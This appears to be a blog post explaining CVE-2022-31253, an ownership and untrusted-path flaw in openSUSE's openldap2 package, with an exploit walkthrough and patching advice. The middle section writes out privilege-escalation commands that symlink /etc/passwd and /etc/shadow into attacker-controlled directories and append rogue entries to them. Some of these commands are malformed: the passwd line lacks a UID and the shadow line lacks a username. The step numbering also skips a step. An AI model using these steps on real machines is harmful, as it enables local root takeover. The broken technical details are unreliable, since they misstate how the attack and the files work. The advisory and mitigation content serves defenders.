Untrusted search path bugs don’t always make headlines, but they can pack a real punch if overlooked. CVE-2022-31253 is a shining example. This vulnerability lives in openSUSE Factory’s openldap2 package and lets anyone controlling the ldap user or group _quietly_ take over directory entries, setting the stage for a full privilege escalation to root. This post breaks down what happened, how to exploit it, and how to stay safe.
1. What Is CVE-2022-31253?
_CVE-2022-31253_ is an Untrusted Search Path vulnerability. In plain English, the openldap2 package’s scripts ran with root privileges (“setuid root”), but searched or modified files and directories in locations attackers can influence.
If a local attacker has access to the ldap account or group — say through a weak password or another bug — they can change the owner of any files where openldap2 expects to see its own, and then escalate privileges to root.
Affected versions:
openSUSE Factory openldap2 before 2.6.3-404.1
How Does Ownership Change Lead to Root?
The core issue is in how maintenance scripts (for database backup, restore, etc) operate. They trust directories and files owned by the ldap user and will, when run as root (directly or via systemd service), chown/chgrp sensitive files and directories to the ldap user or group.
A local attacker who gets the ldap user account or is in the ldap group can trick these scripts into making unexpected files owned by ldap. The attacker can then overwrite those files, place their own code into config files, or even drop suid binaries — all steps to escalate from ldap user to full root.
Let’s see a (simplified) exploit flow.
1. Attacker gets access to ldap group or user
Perhaps they found a weak password or a local info disclosure bug.
2. Attacker creates or symlinks a file/directory where openldap scripts will operate
For example
mkdir /tmp/evil_ldap
ln -s /etc/passwd /tmp/evil_ldap/dump # Link a target file
Let’s suppose an admin or cron fires a script like this
chown ldap:ldap /tmp/evil_ldap/dump # Now, /etc/passwd is owned by ldap!
(In reality, the script does this as part of database maintenance, trusting $basedir or $BACKUPDIR variables possibly set by the attacker.)
4. Attacker can now edit system files
echo 'eviluser:::::/root:/bin/bash' >> /etc/passwd
The attacker hijacks the system.
Below is a code snippet demonstrating the broad method
# log in as user in 'ldap' group
whoami
ldapuser
# Prepare malicious directory and symlink
mkdir /tmp/ldap_exploit
ln -sf /etc/shadow /tmp/ldap_exploit/owned
# Wait for openldap2 maintenance (or trick admin into running it)
# Suppose the backup script contains:
# chown -R ldap:ldap $BACKUPDIR
# If $BACKUPDIR points to /tmp/ldap_exploit, /etc/shadow gets chowned
# Now modify /etc/shadow as ldap user
echo '$6$salt$hashedpassword' >> /etc/shadow
5. References and More Reading
- NVD Entry for CVE-2022-31253
- openSUSE Security Advisory
- Github Issue Example
- Untrusted Search Path — OWASP
6. How to Stay Safe
Update Now: Upgrade openldap2 to 2.6.3-404.1 or later.
Review user/group permissions: Don’t give out ldap accounts or group memberships recklessly.
Check scripts: Inspect any maintenance scripts or services that handle directories and files as root, and make sure they don’t trust user-controlled locations or variables.
Conclusion
CVE-2022-31253 is a classic “local privilege escalation” bug. It’s not remotely exploitable, but for any shared openSUSE system, local untrusted accounts, or unfortunate script misconfigurations, it’s surprisingly dangerous. Patch fast, and always treat user-controlled search paths and directories with skepticism — giving the wrong person ownership of critical files is one of the oldest, but still most effective, ways to lose control of your server.
Timeline
Published on: 11/09/2022 14:15:00 UTC
Last modified on: 11/10/2022 16:15:00 UTC